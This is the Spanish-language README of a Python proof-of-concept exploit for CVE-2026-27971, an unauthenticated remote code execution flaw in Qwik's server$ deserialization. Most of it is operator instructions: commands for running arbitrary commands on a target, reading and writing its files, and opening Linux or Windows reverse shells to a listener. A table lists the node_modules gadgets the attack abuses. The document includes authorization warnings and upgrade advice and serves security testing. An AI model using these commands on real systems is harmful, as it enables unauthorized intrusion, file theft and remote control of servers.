
CVE-2026-27971 qwik rce
server$[!WARNING] Este repositorio contiene una prueba de concepto activa de ejecución remota de código. Úsala únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba. El autor no asume responsabilidad alguna por usos no autorizados o daños.
Una prueba de concepto independiente en Python para CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, una vulnerabilidad de ejecución remota de código no autenticada en el mecanismo de deserialización RPC server$ de Qwik.
El PoC puede realizar una sonda activa de marcador, ejecutar comandos, leer o escribir archivos de texto y solicitar una reverse shell en objetivos Linux o Windows. Utiliza únicamente la biblioteca estándar de Python.
| Campo | Valor |
|---|
| Producto | Qwik — paquete npm @builder.io/qwik |
| Versiones afectadas | <= 1.19.0 |
| Versión parcheada | 1.19.1 |
| Vulnerabilidad | Ejecución remota de código no autenticada mediante deserialización insegura de server$ |
| Condición de ejecución | require() debe estar disponible en tiempo de ejecución |
| CWE | CWE-502 — Deserialización de datos no confiables |
| Gravedad | Crítica — CVSS 4.0: 9.2 |
| Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Una solicitud application/qwik-json especialmente manipulada puede hacer referencia a un módulo del lado del servidor y a un símbolo exportado. Las versiones vulnerables de Qwik pueden resolver un QRL no registrado mediante require() en tiempo de ejecución e invocarlo sin autenticación. Este PoC intenta alcanzar una exportación de ejecución de procesos compatible ya presente en los node_modules del objetivo.
Operador:
server$/Qwik JSON.Objetivo:
@builder.io/qwik <= 1.19.0.require() esté disponible.node_modules.node disponible en el PATH del proceso del servicio.No se requieren paquetes Python de terceros.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Enumera los gadgets integrados sin enviar una solicitud:
python3 exploit_combat.py --list-gadgets
Ejecuta una sonda activa de marcador y prueba todos los gadgets integrados:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeno es una detección pasiva de versiones. Intenta ejecutar código remoto y lo confirma imprimiendo un marcador desde el proceso del objetivo.
Ejecutar un comando:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Leer un archivo de texto UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Escribir y verificar un archivo de texto UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Solicitar una reverse shell después de iniciar un listener persistente:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Forzar el payload de reverse shell para Windows cuando la detección automática del sistema operativo no sea adecuada:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
El script no inicia un listener. La verificación previa de --callback abre y cierra una conexión TCP separada antes de enviar el payload de shell, por lo que debes usar un listener que pueda aceptar más de una conexión.
| Opción | Descripción |
|---|---|
-t URL, --target URL | URL objetivo exacta. Predeterminado: http://localhost:3000. La ruta no se descubre automáticamente. |
--probe | Ejecuta activamente un payload de marcador e intenta detectar el sistema operativo. |
-c CMD, --CMD CMD | Ejecuta un comando mediante child_process.execSync() de Node.js. |
--read PATH | Lee un archivo de texto UTF-8 usando fs.readFileSync(). |
--write PATH --content TEXT | Escribe un archivo de texto, lo vuelve a leer y compara el resultado. No se crean directorios padre. |
--list-gadgets | Imprime los nombres de los gadgets integrados y sale sin realizar una solicitud de red. |
--lhost IP | Habilita el modo reverse shell y establece la dirección de callback. |
--lport PORT | Establece el puerto de callback. Predeterminado: 4444. |
--rev-all | Envía todas las variantes de reverse shell en lugar de detenerse después de la primera solicitud HTTP aceptada. |
--callback | Comprueba la accesibilidad TCP saliente antes de enviar un payload de reverse shell. |
--OS {auto,linux,windows} | Selecciona la familia de payloads de reverse shell. Predeterminado: auto. |
--gadget SPEC | Usa auto, un nombre integrado o un <module>#<symbol> personalizado. Predeterminado: cross-spawn.sync. |
--arg-style {argv,command,shell} | Estilo de argumentos para un gadget <module>#<symbol> personalizado. |
--timeout SECONDS | Tiempo de espera HTTP del cliente. Predeterminado: 30. |
--verify-ssl | Habilita la verificación del certificado TLS y del nombre de host. La verificación está deshabilitada por defecto. |
Los modos de acción no son mutuamente excluyentes en el analizador. Usa uno de --probe, --CMD, --read, --write o --lhost por invocación.
| Nombre | Módulo y exportación | Estilo |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto prueba estos gadgets en el orden indicado. Se puede proporcionar un gadget personalizado de la siguiente manera:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync, no un descubrimiento automático. Usa --gadget auto cuando se desconozca la distribución de dependencias del objetivo.--read espera UTF-8 y --write no está pensado para datos binarios.--rev-all puede iniciar varios procesos o callbacks en el objetivo. Úsalo solo en un laboratorio aislado.Actualiza @builder.io/qwik a 1.19.1 o posterior, actualiza el lockfile, recompila la aplicación y vuelve a desplegar todos los artefactos del servidor. Eliminar únicamente un gadget compatible no es una solución completa para la vulnerabilidad subyacente de Qwik.
Este proyecto se proporciona para investigación en seguridad, validación defensiva y pruebas autorizadas. No lo uses contra sistemas sin permiso explícito.